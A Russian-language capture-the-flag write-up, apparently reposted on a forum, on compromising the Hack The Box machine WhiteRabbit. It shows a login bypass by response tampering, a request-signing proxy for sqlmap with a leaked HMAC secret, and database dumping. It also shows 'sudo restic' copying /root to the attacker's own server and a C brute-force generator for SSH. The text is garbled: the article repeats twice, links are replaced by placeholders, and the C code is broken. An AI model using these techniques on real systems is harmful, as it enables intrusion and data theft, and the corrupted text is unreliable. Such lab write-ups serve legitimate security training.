stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как через restic можно выйти из окружения Docker. Но прежде скомпрометируем систему Uptime Kuma и получим доступ к фреймворку Gophish. Затем проэксплуатируем сложную SQL-инъекцию, чтобы узнать секрет restic. В конце используем логику генератора паролей для получения учетки админа.
Наша конечная цель — получение прав суперпользователя на машине WhiteRabbit с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности задания — «безумный».
10.10.11.63 whiterabbit.htb
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Сканер нашел три открытых порта:
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войдиили Зарегистрируйся. При запуске указываем следующие параметры:
Задаем все параметры и начинаем сканирование:
ffuf -u Для просмотра ссылки Войдиили Зарегистрируйся -H 'Host: FUZZ.whiterabbit.htb' -w subdomains-top1million-110000.txt -t 128
Для просмотра ссылки Войдиили Зарегистрируйся
В вывод попали все варианты из списка, поэтому стоит включить фильтр по размеру ответа (параметр -fs).
ffuf -u Для просмотра ссылки Войдиили Зарегистрируйся -H 'Host: FUZZ.whiterabbit.htb' -w ~/tools/wordlists/Content/subdomains-top1million-110000.txt -t 128 -fs 0
Для просмотра ссылки Войдиили Зарегистрируйся
Находим новый поддомен и обновляем запись в /etc/hosts.
10.10.11.63 whiterabbit.htb status.whiterabbit.htb
На новом сайте нас встречает страница авторизации Uptime Kuma.
Для просмотра ссылки Войдиили Зарегистрируйся
Данные вроде admin:admin не подошли, при этом в Burp History нет ни одного запроса авторизации. Зато они есть в истории WebSockets.
Для просмотра ссылки Войдиили Зарегистрируйся
Сервер в ответе присылает результат авторизации и сообщение.
Для просмотра ссылки Войдиили Зарегистрируйся
Активируем перехватчик запросов и ответов в Burp Proxy, снова попробуем авторизоваться, но в этот раз отловим и изменим ответ сервера. Меняем значение параметра ok на true и получаем доступ к панели Uptime Kuma.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для сканирования каталогов проектов я буду использовать Для просмотра ссылки Войдиили Зарегистрируйся.
При запуске укажем такие параметры:
или Зарегистрируйся -d 1 -t 128 -w directory_2.3_medium_lowercase.txt
Для просмотра ссылки Войдиили Зарегистрируйся
Находим страницу temp, на ней — четыре проекта.
Для просмотра ссылки Войдиили Зарегистрируйся
Открываем страницы проектов и видим два новых сайта: a668910b5514e.whiterabbit.htb и ddb09a8558c9.whiterabbit.htb. Обновляем запись в файле /etc/hosts и открываем адреса через браузер. На первом нас встречает вики, а на втором панель авторизации фреймворка Для просмотра ссылки Войдиили Зарегистрируйся.
10.10.11.63 whiterabbit.htb status.whiterabbit.htb a668910b5514e.whiterabbit.htb ddb09a8558c9.whiterabbit.htb
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
В вики находим запрос к Gophish на еще один домен — 28efa8f7df.whiterabbit.htb, причем там же приложен файл JSON, в котором лежит секрет для подписи запросов.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Найденный домен также добавим в файл /etc/hosts.
10.10.11.63 whiterabbit.htb status.whiterabbit.htb a668910b5514e.whiterabbit.htb ddb09a8558c9.whiterabbit.htb 28efa8f7df.whiterabbit.htb
Для просмотра ссылки Войдиили Зарегистрируйся
Попробуем воспользоваться SQL-инъекцией: напишем небольшой прокси‑сервер, который будет изменять запросы sqlmap с учетом цифровой подписи. Для этого используем mitmproxy со следующим файлом.
import hmac
import hashlib
import json
from mitmproxy import http
def request(r: http.HTTPFlow) -> None:
if r.request.method == "POST" and "application/json" in r.request.headers.get("Content-Type", ""):
try:
text = r.request.get_text()
json_text = json.loads(text)
json_body = json.dumps(json_text, separators=(',', ':'))
sign = hmac.new(b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS", json_body.encode(), hashlib.sha256).hexdigest()
r.request.headers["x-gophish-signature"] = f"sha256={sign}"
except Exception as e:
print(f"Error sign: {e}")
mitmproxy -s proxy.py --listen-port 8000
Прокси‑сервер запущен на порте 8000. Запускаем Nmap и ждем, пока он подберет нагрузку. Используем параметр --dbs, чтобы получить список баз данных.
sqlmap -u 'Для просмотра ссылки Войдиили Зарегистрируйся' --method POST --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers='Content-Type: application/json' --proxy=Для просмотра ссылки Войди или Зарегистрируйся --dbs --batch --level 5 --risk 3
Для просмотра ссылки Войдиили Зарегистрируйся
Когда sqlmap подбирает нагрузку, он кеширует ее и использует дальше для эксплуатации. Теперь запросим все таблицы (параметр --tables) из базы данных temp (параметр -D).
sqlmap -u 'Для просмотра ссылки Войдиили Зарегистрируйся' --method POST --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers='Content-Type: application/json' --proxy=Для просмотра ссылки Войди или Зарегистрируйся -D temp --tables --batch --level 5 --risk 3
Для просмотра ссылки Войдиили Зарегистрируйся
В базе данных temp всего одна таблица — command_log. Получим из нее все записи (параметр --dump).
sqlmap -u 'Для просмотра ссылки Войдиили Зарегистрируйся' --method POST --data '{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers='Content-Type: application/json' --proxy=Для просмотра ссылки Войди или Зарегистрируйся -D temp -T command_log --dump --batch --level 5 --risk 3
Для просмотра ссылки Войдиили Зарегистрируйся
В базе сохранены команды, а также время их ввода. В одной из команд находим пароль для сервиса restic.
10.10.11.63 whiterabbit.htb status.whiterabbit.htb a668910b5514e.whiterabbit.htb ddb09a8558c9.whiterabbit.htb 28efa8f7df.whiterabbit.htb 75951e6ff.whiterabbit.htb
Теперь сохраним пароль в файл .restic_passwd и запросим резервные копии.
echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
chmod 600 .restic_passwd
RESTIC_REPOSITORY="rest:Для просмотра ссылки Войдиили Зарегистрируйся" RESTIC_PASSWORD_FILE=".restic_passwd" restic snapshots
Для просмотра ссылки Войдиили Зарегистрируйся
Нам доступен всего один бэкап, загрузим его в локальный каталог restdata.
RESTIC_REPOSITORY="rest:Для просмотра ссылки Войдиили Зарегистрируйся" RESTIC_PASSWORD_FILE=".restic_passwd" restic restore latest --target ./restdata
Для просмотра ссылки Войдиили Зарегистрируйся
В каталоге видим только один файл — архив 7-Zip.
Для просмотра ссылки Войдиили Зарегистрируйся
Архив запаролен, поэтому сначала с помощью скрипта Для просмотра ссылки Войдиили Зарегистрируйся получим хеш пароля архива для брута.
Для просмотра ссылки Войдиили Зарегистрируйся
Затем используем Для просмотра ссылки Войдиили Зарегистрируйся для подбора пароля.
john --wordlist=rockyou.txt 7z.hash
Для просмотра ссылки Войдиили Зарегистрируйся
Открываем архив с полученным паролем и находим в нем приватный ключ SSH пользователя bob. Так мы получаем сессию на сервере.
ssh -i bob bob@10.10.11.63 -p2222
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование.
В выводе будет много информации, но мы зацепимся за настройки sudoers. Вывод LinPEAS показывает, что пользователь bob может выполнить команду restic от имени привилегированного пользователя.
Для просмотра ссылки Войдиили Зарегистрируйся
В базе Для просмотра ссылки Войдиили Зарегистрируйся есть инструкция по использованию sudo restic для повышения привилегий.
Для просмотра ссылки Войдиили Зарегистрируйся
Мы можем выполнить бэкап любого каталога для получения любых важных файлов. Для этого сначала нужно установить Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Скачиваем rest-server на свою машину и запускаем листенер без аутентификации.
./rest-server --listen ":5678" --no-auth
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь создаем хранилище с именем backup_name.
restic init -r "rest:Для просмотра ссылки Войдиили Зарегистрируйся"
Для просмотра ссылки Войдиили Зарегистрируйся
На удаленном хосте копируем содержимое каталога /root в созданное хранилище.
sudo restic backup -r rest:Для просмотра ссылки Войдиили Зарегистрируйся /root
Для просмотра ссылки Войдиили Зарегистрируйся
На своем хосте восстанавливаем последнюю резервную копию в каталог restroot.
restic restore -r "rest:Для просмотра ссылки Войдиили Зарегистрируйся" latest --target ./restroot
Для просмотра ссылки Войдиили Зарегистрируйся
Проверяем содержимое скопированного домашнего каталога root, где есть ключи SSH пользователя morpheus.
Для просмотра ссылки Войдиили Зарегистрируйся
С приватным ключом подключаемся к SSH и забираем первый флаг.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Скачиваем файл на свою машину и открываем в любом удобном декомпиляторе. Я использую IDA Pro с плагином Hex-Rays.
scp -i morpheus morpheus@10.10.11.63:/opt/neo-password-generator/neo-password-generator ../../
В функции main вызывается generate_password (строка 8), и ей передается текущее время в миллисекундах.
Для просмотра ссылки Войдиили Зарегистрируйся
В функции generate_password в зависимости от переданного времени генерируется псевдослучайное число. Оно определяет, какой символ будет выбран из статической строки. Так получается 20-символьный пароль.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
На этапе SQL-инъекции мы получили команды, сохраненные в базе. Среди них есть вызов генератора паролей с указанием времени выполнения. Используем это время, чтобы узнать количество секунд.
date -d "2024-08-30 14:40:42" +%s
Для просмотра ссылки Войдиили Зарегистрируйся
Напишем простую программу, которая сгенерирует небольшой словарь (начиная с указанной даты) по тому же алгоритму, что и генератор на удаленном хосте.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
char aAbcdefghijklmn[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for (int c = 0; c < 2000; c++) {
unsigned int a1 = 1725028842 * 1000 + c;
srand(a1);
char s[21];
for ( int i = 0; i <= 19; ++i )
s = aAbcdefghijklmn[rand() % 62];
s[20] = 0;
printf("%s\n", s);
}
return 0;
}
Затем запускаем подбор паролей по полученному словарю и находим валидный пароль.
nxc ssh 10.10.11.63 -u neo -p pass.txt
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Пользователь neo входит в группу sudo, а значит, мы без труда получаем права root.
Для просмотра ссылки Войдиили Зарегистрируйся
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине WhiteRabbit с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.63 whiterabbit.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди
Сканер нашел три открытых порта:
- порты 22 и 2222 — служба OpenSSH 9.6p1;
- 80 — веб‑сервер Caddy.
Для просмотра ссылки Войди
Точка входа
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию.Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиЯ предпочитаю легкий и очень быстрый Для просмотра ссылки Войди
- -u — URL;
- -H — HTTP-заголовок;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков.
Задаем все параметры и начинаем сканирование:
ffuf -u Для просмотра ссылки Войди
Для просмотра ссылки Войди
В вывод попали все варианты из списка, поэтому стоит включить фильтр по размеру ответа (параметр -fs).
ffuf -u Для просмотра ссылки Войди
Для просмотра ссылки Войди
Находим новый поддомен и обновляем запись в /etc/hosts.
10.10.11.63 whiterabbit.htb status.whiterabbit.htb
На новом сайте нас встречает страница авторизации Uptime Kuma.
Для просмотра ссылки Войди
Данные вроде admin:admin не подошли, при этом в Burp History нет ни одного запроса авторизации. Зато они есть в истории WebSockets.
Для просмотра ссылки Войди
Сервер в ответе присылает результат авторизации и сообщение.
Для просмотра ссылки Войди
Активируем перехватчик запросов и ответов в Burp Proxy, снова попробуем авторизоваться, но в этот раз отловим и изменим ответ сервера. Меняем значение параметра ok на true и получаем доступ к панели Uptime Kuma.
Для просмотра ссылки Войди
Точка опоры
Читая про Uptime Kuma на GitHub, находим интересный эндпоинт /status, через который можно перебрать активные проекты.Для просмотра ссылки Войди
Для сканирования каталогов проектов я буду использовать Для просмотра ссылки Войди
При запуске укажем такие параметры:
- -u — URL;
- -d — глубина сканирования;
- -t — количество потоков;
- -w — словарь (снова из набора Для просмотра ссылки Войди
или Зарегистрируйся).
Для просмотра ссылки Войди
Находим страницу temp, на ней — четыре проекта.
Для просмотра ссылки Войди
Открываем страницы проектов и видим два новых сайта: a668910b5514e.whiterabbit.htb и ddb09a8558c9.whiterabbit.htb. Обновляем запись в файле /etc/hosts и открываем адреса через браузер. На первом нас встречает вики, а на втором панель авторизации фреймворка Для просмотра ссылки Войди
10.10.11.63 whiterabbit.htb status.whiterabbit.htb a668910b5514e.whiterabbit.htb ddb09a8558c9.whiterabbit.htb
Для просмотра ссылки Войди
В вики находим запрос к Gophish на еще один домен — 28efa8f7df.whiterabbit.htb, причем там же приложен файл JSON, в котором лежит секрет для подписи запросов.
Для просмотра ссылки Войди
Найденный домен также добавим в файл /etc/hosts.
10.10.11.63 whiterabbit.htb status.whiterabbit.htb a668910b5514e.whiterabbit.htb ddb09a8558c9.whiterabbit.htb 28efa8f7df.whiterabbit.htb
SQL-инъекция
В скачанном JSON отметим SQL‑запросы, куда подставляется параметр email из запроса к Gophish.Для просмотра ссылки Войди
Попробуем воспользоваться SQL-инъекцией: напишем небольшой прокси‑сервер, который будет изменять запросы sqlmap с учетом цифровой подписи. Для этого используем mitmproxy со следующим файлом.
import hmac
import hashlib
import json
from mitmproxy import http
def request(r: http.HTTPFlow) -> None:
if r.request.method == "POST" and "application/json" in r.request.headers.get("Content-Type", ""):
try:
text = r.request.get_text()
json_text = json.loads(text)
json_body = json.dumps(json_text, separators=(',', ':'))
sign = hmac.new(b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS", json_body.encode(), hashlib.sha256).hexdigest()
r.request.headers["x-gophish-signature"] = f"sha256={sign}"
except Exception as e:
print(f"Error sign: {e}")
mitmproxy -s proxy.py --listen-port 8000
Прокси‑сервер запущен на порте 8000. Запускаем Nmap и ждем, пока он подберет нагрузку. Используем параметр --dbs, чтобы получить список баз данных.
sqlmap -u 'Для просмотра ссылки Войди
Для просмотра ссылки Войди
Когда sqlmap подбирает нагрузку, он кеширует ее и использует дальше для эксплуатации. Теперь запросим все таблицы (параметр --tables) из базы данных temp (параметр -D).
sqlmap -u 'Для просмотра ссылки Войди
Для просмотра ссылки Войди
В базе данных temp всего одна таблица — command_log. Получим из нее все записи (параметр --dump).
sqlmap -u 'Для просмотра ссылки Войди
Для просмотра ссылки Войди
В базе сохранены команды, а также время их ввода. В одной из команд находим пароль для сервиса restic.
Restic
Restic — это сервис для резервного копирования. Воспользуемся найденным паролем, подключимся к серверу restic и посмотрим существующие бэкапы. Добавим сервер restic в файл /etc/hosts.10.10.11.63 whiterabbit.htb status.whiterabbit.htb a668910b5514e.whiterabbit.htb ddb09a8558c9.whiterabbit.htb 28efa8f7df.whiterabbit.htb 75951e6ff.whiterabbit.htb
Теперь сохраним пароль в файл .restic_passwd и запросим резервные копии.
echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd
chmod 600 .restic_passwd
RESTIC_REPOSITORY="rest:Для просмотра ссылки Войди
Для просмотра ссылки Войди
Нам доступен всего один бэкап, загрузим его в локальный каталог restdata.
RESTIC_REPOSITORY="rest:Для просмотра ссылки Войди
Для просмотра ссылки Войди
В каталоге видим только один файл — архив 7-Zip.
Для просмотра ссылки Войди
Архив запаролен, поэтому сначала с помощью скрипта Для просмотра ссылки Войди
Для просмотра ссылки Войди
Затем используем Для просмотра ссылки Войди
john --wordlist=rockyou.txt 7z.hash
Для просмотра ссылки Войди
Открываем архив с полученным паролем и находим в нем приватный ключ SSH пользователя bob. Так мы получаем сессию на сервере.
ssh -i bob bob@10.10.11.63 -p2222
Для просмотра ссылки Войди
Продвижение
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование.
В выводе будет много информации, но мы зацепимся за настройки sudoers. Вывод LinPEAS показывает, что пользователь bob может выполнить команду restic от имени привилегированного пользователя.
Для просмотра ссылки Войди
В базе Для просмотра ссылки Войди
Для просмотра ссылки Войди
Мы можем выполнить бэкап любого каталога для получения любых важных файлов. Для этого сначала нужно установить Для просмотра ссылки Войди
Для просмотра ссылки Войди
Скачиваем rest-server на свою машину и запускаем листенер без аутентификации.
./rest-server --listen ":5678" --no-auth
Для просмотра ссылки Войди
Теперь создаем хранилище с именем backup_name.
restic init -r "rest:Для просмотра ссылки Войди
Для просмотра ссылки Войди
На удаленном хосте копируем содержимое каталога /root в созданное хранилище.
sudo restic backup -r rest:Для просмотра ссылки Войди
Для просмотра ссылки Войди
На своем хосте восстанавливаем последнюю резервную копию в каталог restroot.
restic restore -r "rest:Для просмотра ссылки Войди
Для просмотра ссылки Войди
Проверяем содержимое скопированного домашнего каталога root, где есть ключи SSH пользователя morpheus.
Для просмотра ссылки Войди
С приватным ключом подключаемся к SSH и забираем первый флаг.
Для просмотра ссылки Войди
Локальное повышение привилегий
Мы вышли из Docker и попали в основную систему, так что снова собираем данные с помощью LinPEAS. В каталоге /opt находим проект neo-password-generator с одноименным исполняемым файлом.Для просмотра ссылки Войди
Скачиваем файл на свою машину и открываем в любом удобном декомпиляторе. Я использую IDA Pro с плагином Hex-Rays.
scp -i morpheus morpheus@10.10.11.63:/opt/neo-password-generator/neo-password-generator ../../
В функции main вызывается generate_password (строка 8), и ей передается текущее время в миллисекундах.
Для просмотра ссылки Войди
В функции generate_password в зависимости от переданного времени генерируется псевдослучайное число. Оно определяет, какой символ будет выбран из статической строки. Так получается 20-символьный пароль.
Для просмотра ссылки Войди
На этапе SQL-инъекции мы получили команды, сохраненные в базе. Среди них есть вызов генератора паролей с указанием времени выполнения. Используем это время, чтобы узнать количество секунд.
date -d "2024-08-30 14:40:42" +%s
Для просмотра ссылки Войди
Напишем простую программу, которая сгенерирует небольшой словарь (начиная с указанной даты) по тому же алгоритму, что и генератор на удаленном хосте.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
char aAbcdefghijklmn[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for (int c = 0; c < 2000; c++) {
unsigned int a1 = 1725028842 * 1000 + c;
srand(a1);
char s[21];
for ( int i = 0; i <= 19; ++i )
s = aAbcdefghijklmn[rand() % 62];
s[20] = 0;
printf("%s\n", s);
}
return 0;
}
Затем запускаем подбор паролей по полученному словарю и находим валидный пароль.
nxc ssh 10.10.11.63 -u neo -p pass.txt
Для просмотра ссылки Войди
Пользователь neo входит в группу sudo, а значит, мы без труда получаем права root.
Для просмотра ссылки Войди
Машина захвачена!
